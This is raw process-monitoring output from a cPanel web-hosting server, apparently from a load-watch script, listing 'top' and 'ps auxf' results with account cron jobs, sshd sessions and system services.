 15852 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 16618 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 16869 nobody    20   0  277584  19720   4440 S   0.0  0.8   0:00.74 /usr/sbin+
 17350 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 18439 nobody    20   0  277584  19432   4168 S   0.0  0.8   0:00.41 /usr/sbin+
 20310 nobody    20   0  277784  19508   4140 S   0.0  0.8   0:00.27 /usr/sbin+
 20708 nobody    20   0  277924  19432   4068 S   0.0  0.8   0:00.29 /usr/sbin+
 21281 nobody    20   0  277520  18764   3816 S   0.0  0.8   0:00.26 /usr/sbin+
 21282 nobody    20   0  277584  19076   4000 S   0.0  0.8   0:00.20 /usr/sbin+
 21298 nobody    20   0  277600  19364   4148 S   0.0  0.8   0:00.13 /usr/sbin+
 21299 nobody    20   0  278004  19476   4056 S   0.0  0.8   0:00.21 /usr/sbin+
 21601 nobody    20   0  277520  18712   3696 S   0.0  0.8   0:00.12 /usr/sbin+
 21641 nobody    20   0  277776  18800   3504 S   0.0  0.8   0:00.10 /usr/sbin+
 22186 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 22291 root      20   0  111304   4276   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 22349 root      20   0  111304   4272   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 22390 root      20   0  111304   4268   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 22718 root      20   0  111304   4264   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 22723 sshd      20   0  115644   2628   1564 S   0.0  0.1   0:00.00 sshd: [ne+
 22796 root      20   0  111304   4276   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 22831 root      20   0  162436   5832   4340 S   0.0  0.2   0:00.01 sshd: roo+
 22833 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: roo+
 22867 cloudw    20   0  525088  60512   6748 S   0.0  2.5   0:00.48 php-fpm: +
 22886 root      20   0  157100   5084   3792 S   0.0  0.2   0:00.00 sshd: unk+
 22887 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: unk+
 22895 root      20   0  157100   5080   3792 S   0.0  0.2   0:00.00 sshd: unk+
 23072 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 23073 sshd      20   0  115644   2628   1564 S   0.0  0.1   0:00.00 sshd: unk+
 23088 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 23089 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 23090 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 23091 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 23095 root      20   0  183048   2144   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 23100 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23101 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23102 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23103 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23104 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23105 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23106 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23107 root      20   0  183044   2152   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23108 root      20   0  183044   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23109 root      20   0  183044   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23111 root      20   0  183044   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 23112 root      20   0  183044   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23115 root      20   0  183044   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 23128 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 23130 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 23131 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 23132 root      20   0  113284   1212   1036 S   0.0  0.1   0:00.00 /bin/sh -+
 23135 root      20   0   20164    960    764 S   0.0  0.0   0:00.00 jailshell+
 23136 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 23137 root      20   0   20164    988    784 S   0.0  0.0   0:00.00 jailshell+
 23138 root      20   0 1415584  10992    604 S   0.0  0.5   0:00.05 /usr/bin/+
 23139 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 23141 root      20   0   20164    984    784 S   0.0  0.0   0:00.00 jailshell+
 23142 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 23143 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 23144 root      20   0 1276844  11608    600 S   0.0  0.5   0:00.06 /usr/bin/+
 23145 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 23146 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 23148 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 23150 root      35  15  113288   1428   1240 S   0.0  0.1   0:00.00 /bin/bash+
 23152 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 23153 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 23154 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 23156 root      20   0   20164    964    764 S   0.0  0.0   0:00.00 jailshell+
 23163 root      20   0 1276060  10956    600 S   0.0  0.5   0:00.05 /usr/bin/+
 23165 root      20   0  108052    356    284 S   0.0  0.0   0:00.00 /usr/bin/+
 23166 root      20   0  188216  11108   5148 S   0.0  0.5   0:00.01 /usr/loca+
 23176 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 23177 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 23180 nigeria   20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 23184 pactpay   20   0  480124  17672  11880 S   0.0  0.7   0:00.01 /opt/cpan+
 23203 oysipao+  20   0    3148    416      0 S   0.0  0.0   0:00.00 [kworker]
 23216 oysipao+  20   0    3152    632    208 S   0.0  0.0   0:00.00 [kworker]
 23250 cloudsms  20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 23257 root      20   0  160224   2384   1636 S   0.0  0.1   0:00.01 top -n 2 +
 23260 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 23267 cloudsms  20   0  407084  17640  11100 S   0.0  0.7   0:00.01 /opt/cpan+
 23306 root      35  15  138084   5120   2800 R   0.0  0.2   0:00.01 /usr/loca+
 23313 root      20   0  111304   4448   3412 S   0.0  0.2   0:00.00 sshd: [ac+
 23327 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: [ne+
 23334 root      20   0  111304   4276   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 23348 root      20   0  160220   2064   1584 R   0.0  0.1   0:00.00 top -bcn1
 23355 root      20   0   20164    264      0 R   0.0  0.0   0:00.00 /usr/loca+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    03:34   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [rcu_bh]
root          9  0.0  0.0      0     0 ?        S    03:34   0:01  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [watchdogd]
root         36  0.4  0.0      0     0 ?        S    03:34   0:06  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   03:34   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   03:34   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kthrotld]
root         48  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [kworker/u200:1]
root         49  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [deferwq]
root        131  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [kauditd]
root        241  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [ata_sff]
root        246  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [scsi_eh_0]
root        248  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [scsi_tmf_0]
root        249  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [scsi_eh_1]
root        250  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [scsi_tmf_1]
root        255  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [ttm_swap]
root        262  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kworker/0:1H]
root        270  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kworker/1:1H]
root        278  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [jbd2/vda3-8]
root        279  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [ext4-rsv-conver]
root        414  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [rpciod]
root        416  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [xprtiod]
root        504  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [kworker/0:3]
root        627  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [kvm-irqfd-clean]
root        668  0.1  0.0      0     0 ?        S<   03:34   0:01  \_ [loop0]
root        693  0.0  0.0      0     0 ?        S    03:34   0:00  \_ [jbd2/loop0-8]
root        694  0.0  0.0      0     0 ?        S<   03:34   0:00  \_ [ext4-rsv-conver]
root       2355  0.0  0.0      0     0 ?        S    03:35   0:00  \_ [kworker/1:3]
root      10177  0.0  0.0      0     0 ?        S    03:44   0:00  \_ [kworker/u200:0]
root      10955  0.0  0.0      0     0 ?        S    03:45   0:00  \_ [kworker/0:1]
root      12564  0.0  0.0      0     0 ?        S    03:47   0:00  \_ [kworker/1:1]
root      15852  0.0  0.0      0     0 ?        S    03:51   0:00  \_ [kworker/0:2]
root      16618  0.0  0.0      0     0 ?        S    03:52   0:00  \_ [kworker/0:4]
root      17350  0.0  0.0      0     0 ?        S    03:53   0:00  \_ [kworker/1:4]
root      22186  0.0  0.0      0     0 ?        S    03:59   0:00  \_ [kworker/1:0]
root          1  0.1  0.1  44276  3256 ?        Ss   03:34   0:02 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        359  0.0  0.3  39496  7684 ?        Ss   03:34   0:01 /usr/lib/systemd/systemd-journald
root        385  0.0  0.0  45356   240 ?        Ss   03:34   0:00 /usr/lib/systemd/systemd-udevd
root        410  0.0  0.0  55532   128 ?        S<sl 03:34   0:00 /sbin/auditd
root        470  0.0  0.0 152780    60 ?        Ss   03:34   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
root        473  0.0  0.2 224144  6000 ?        Ss   03:34   0:00 queueprocd - waiting up to 60s to process a task
dbus        474  0.0  0.0  58748  1336 ?        Ss   03:34   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
nscd        478  0.0  0.0 861368  1264 ?        Ssl  03:34   0:01 /usr/sbin/nscd
rpc         483  0.0  0.0  69256   204 ?        Ss   03:34   0:00 /sbin/rpcbind -w
polkitd     505  0.0  0.0 610540   904 ?        Ssl  03:34   0:00 /usr/lib/polkit-1/polkitd --no-debug
root        507  0.0  0.0  24708  1152 ?        Ss   03:34   0:00 /usr/lib/systemd/systemd-logind
root        509  0.0  0.0  21540   396 ?        Ss   03:34   0:00 /usr/sbin/irqbalance --foreground
root        514  0.0  0.0  52852   104 ?        Ss   03:34   0:00 /usr/sbin/smartd -n -q never
root        523  0.0  0.0 195208     0 ?        Ssl  03:34   0:00 /usr/sbin/gssproxy -D
root        528  0.0  0.0   4388    48 ?        Ss   03:34   0:00 /usr/sbin/acpid
root        562  0.0  0.0  24208     0 ?        Ss   03:34   0:00 /usr/sbin/atd -f
root        564  0.0  0.0 124476   444 ?        Ss   03:34   0:00 /usr/sbin/crond -n
root      23088  0.0  0.0 183048  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23128  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate -u Imunify360 &>/dev/null
root      23163  5.0  0.4 1276316 10956 ?       Sl   04:00   0:00  |       \_ /usr/bin/CSPUpdate -u Imunify360
root      23089  0.0  0.0 183048  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23132  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/update_imunify &>/dev/null
root      23144  6.0  0.4 1276844 11608 ?       Sl   04:00   0:00  |       \_ /usr/bin/update_imunify
root      23090  0.0  0.0 183048  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23131  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/CSPUpdate self-update &>/dev/null
root      23138  5.0  0.4 1415584 10992 ?       Sl   04:00   0:00  |       \_ /usr/bin/CSPUpdate self-update
root      23091  0.0  0.0 183048  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23130  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly > /dev/null 2>&1
root      23150  0.0  0.0 113288  1428 ?        SN   04:00   0:00  |       \_ /bin/bash /usr/local/lp/apps/sonarpush-helpers/sonarpush-helpers.sh hourly
root      23306  0.0  0.2 138084  5120 ?        RN   04:00   0:00  |           \_ /usr/local/lp/sonarperl/bin/perl /usr/local/lp/apps/sonarpush-helpers/hourly.d/eximData.pl
root      23095  0.0  0.0 183048  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23136  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      23165  0.0  0.0 108052   356 ?        S    04:00   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      23177  0.0  0.0 113288  1520 ?        S    04:00   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      23356  0.0  0.0 153840  2092 ?        R    04:00   0:00  |               \_ ps auxf
root      23100  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23148  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      23101  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23145  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/queue_status.php > /dev/null 2>&1
root      23102  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23139  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
root      23103  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23143  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      23104  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23146  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue6.php > /dev/null 2>&1
root      23105  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23141  0.0  0.0  20164   984 ?        Ss   04:00   0:00  |   \_ jailshell (cloudsms) [23250] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
cloudsms  23250  0.0  0.0  20164   260 ?        S    04:00   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
cloudsms  23260  0.0  0.0 113284  1212 ?        S    04:00   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
cloudsms  23267  0.0  0.7 407084 17904 ?        S    04:00   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/cron/process_queue5.php
root      23106  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23153  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      23107  0.0  0.0 183044  2152 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23154  0.0  0.0  20164   808 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue3.php > /dev/null 2>&1
root      23108  0.0  0.0 183044  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23137  0.0  0.0  20164   988 ?        Ss   04:00   0:00  |   \_ jailshell (cloudsms) [23355] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
cloudsms  23355  0.0  0.0  20164   264 ?        S    04:00   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
cloudsms  23357  0.0  0.0 113284  1212 ?        S    04:00   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue1.php > /dev/null 2>&1
cloudsms  23358  0.0  0.1 157748  3408 ?        R    04:00   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/cron/process_queue1.php
root      23109  0.0  0.0 183044  2148 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23152  0.0  0.0  20164   804 ?        Ss   04:00   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/schedule_hour_check.php > /dev/null 2>&1
root      23111  0.0  0.0 183044  2140 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23142  0.0  0.0 113284  1212 ?        Ss   04:00   0:00  |   \_ /bin/sh -c /usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1
root      23166  1.0  0.4 188216 11108 ?        S    04:00   0:00  |       \_ /usr/local/cpanel/bin/dcpumon
root      23257  0.0  0.0 160224  2384 ?        S    04:00   0:00  |           \_ top -n 2 -b -c
root      23112  0.0  0.0 183044  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23156  0.0  0.0  20164   964 ?        Ss   04:00   0:00  |   \_ jailshell (pactpay) [23176] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   23176  0.0  0.0  20164   260 ?        S    04:00   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   23184  1.0  0.7 480124 17672 ?        S    04:00   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      23115  0.0  0.0 183044  2144 ?        S    04:00   0:00  \_ /usr/sbin/CROND -n
root      23135  0.0  0.0  20164   960 ?        Ss   04:00   0:00      \_ jailshell (nigeria) [23180] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   23180  0.0  0.0  20164   256 ?        S    04:00   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   23187  8.0  0.6 404052 16140 ?        S    04:00   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
root        580  0.0  0.0 108296    68 tty1     Ss+  03:34   0:00 /sbin/agetty --noclear tty1 linux
root        581  0.0  0.0 114704    24 ttyS0    Ss+  03:34   0:00 /bin/bash
mailnull    612  0.0  0.1  88984  3344 ?        Ss   03:34   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        939  0.9 28.4 1763340 688608 ?      Ssl  03:34   0:14 /usr/local/cpanel/3rdparty/bin/clamd -F
named       942  0.0  1.1 990260 28568 ?        Ssl  03:34   0:01 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
systuser    949  0.0  0.0 111608  1600 ?        Ssl  03:34   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
systuser    952  0.0  0.0  11540    56 ?        Ssl  03:34   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        953  0.0  0.0  51508   500 ?        Ss   03:34   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1097  0.0  0.0  46912  1780 ?        S    03:34   0:00  \_ dovecot/pop3-login
dovenull   1098  0.0  0.1  47056  2880 ?        S    03:34   0:00  \_ dovecot/imap-login
dovecot    1099  0.0  0.0  10320   396 ?        S    03:34   0:00  \_ dovecot/anvil
root       1100  0.0  0.0  10452   624 ?        S    03:34   0:00  \_ dovecot/log
dovenull   1101  0.0  0.0  47064  2224 ?        S    03:34   0:00  \_ dovecot/pop3-login
dovenull   1102  0.0  0.0  46924  2352 ?        S    03:34   0:00  \_ dovecot/imap-login
root       1106  0.0  0.0  24396  2032 ?        S    03:34   0:00  \_ dovecot/config
dovecot    1107  0.0  0.0  13568   636 ?        S    03:34   0:00  \_ dovecot/stats
dovecot    1157  0.0  0.0  41056  1404 ?        S    03:34   0:00  \_ dovecot/auth
root        954  1.4  0.4 1277056 10084 ?       Ssl  03:34   0:21 /usr/bin/checkstatus
telegraf    955  0.0  1.5 5654048 36996 ?       SLsl 03:34   0:01 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        956  0.0  0.1 445028  2604 ?        Ss   03:34   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
root        960  0.0  0.0 396248   540 ?        Ss   03:34   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
systuser    963  0.0  0.4 114016 11988 ?        Ssl  03:34   0:00 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        964  0.0  0.0 153404   308 ?        Ss   03:34   0:00 pure-ftpd (SERVER)
cpanelc+    965  0.0  0.1   9820  2752 ?        Ss   03:34   0:01 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        966  0.0  0.0 111304   416 ?        Ss   03:34   0:00 /usr/sbin/sshd -D
root      22291  0.0  0.1 111304  4276 ?        Ss   03:59   0:00  \_ sshd: [accepted]
root      22349  0.0  0.1 111304  4272 ?        Ss   03:59   0:00  \_ sshd: [accepted]
root      22390  0.0  0.1 111304  4268 ?        Ss   03:59   0:00  \_ sshd: [accepted]
root      22718  0.0  0.1 111304  4264 ?        Ss   03:59   0:00  \_ sshd: [accepted]
sshd      22723  0.0  0.1 115644  2628 ?        S    03:59   0:00  |   \_ sshd: [net]
root      22796  0.0  0.1 111304  4276 ?        Ss   03:59   0:00  \_ sshd: [accepted]
root      22831  0.1  0.2 162436  5832 ?        Ss   03:59   0:00  \_ sshd: root [priv]
sshd      22833  0.0  0.1 115644  2628 ?        S    03:59   0:00  |   \_ sshd: root [net]
root      22886  0.0  0.2 157100  5084 ?        Ss   03:59   0:00  \_ sshd: unknown [priv]
sshd      22887  0.0  0.1 115644  2628 ?        S    03:59   0:00  |   \_ sshd: unknown [net]
root      22895  0.0  0.2 157100  5080 ?        Ss   03:59   0:00  \_ sshd: unknown [priv]
sshd      23073  0.0  0.1 115644  2628 ?        S    03:59   0:00  |   \_ sshd: unknown [net]
root      23313  0.0  0.1 111304  4448 ?        Ss   04:00   0:00  \_ sshd: [accepted]
sshd      23327  0.0  0.1 115644  2628 ?        S    04:00   0:00  |   \_ sshd: [net]
root      23334  0.0  0.1 111304  4276 ?        Ss   04:00   0:00  \_ sshd: [accepted]
root        967  1.9  0.3 1276356 9392 ?        Ssl  03:34   0:30 /usr/bin/cspdaemon
systuser    970  0.0  0.0  11348    40 ?        Ssl  03:34   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
memcach+    978  0.0  0.0 342400     0 ?        Ssl  03:34   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
root        979  0.0  0.1 261028  4656 ?        Ss   03:34   0:00 cpsrvd (SSL) - waiting for connections                   
root      23072  0.0  0.0      0     0 ?        Z    03:59   0:00  \_ [cpaneld - servi] <defunct>
root        980  0.0  0.0 572372   704 ?        Ssl  03:34   0:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root        984  0.0  0.0 389508   264 ?        Ss   03:34   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root        998  0.0  0.0 388892   580 ?        Ss   03:34   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
root       1001  0.0  0.1 400740  3072 ?        Ss   03:34   0:00 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
cloudw    22867 12.0  2.5 525088 60512 ?        S    03:59   0:00  \_ php-fpm: pool cloudware_ng
systuser   1002  0.0  0.0 112524  2064 ?        Ssl  03:34   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root       1003  0.0  0.3 216400  7456 ?        Ssl  03:34   0:00 /usr/sbin/rsyslogd -n
root       1010  0.0  0.4 439788 11452 ?        Ss   03:34   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
root       1135  0.1  4.8 247868 117596 ?       Ss   03:34   0:03 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       7259  0.0  4.9 249128 118648 ?       S    03:40   0:00  \_ spamd child
root       7260  0.0  4.8 247868 116808 ?       S    03:40   0:00  \_ spamd child
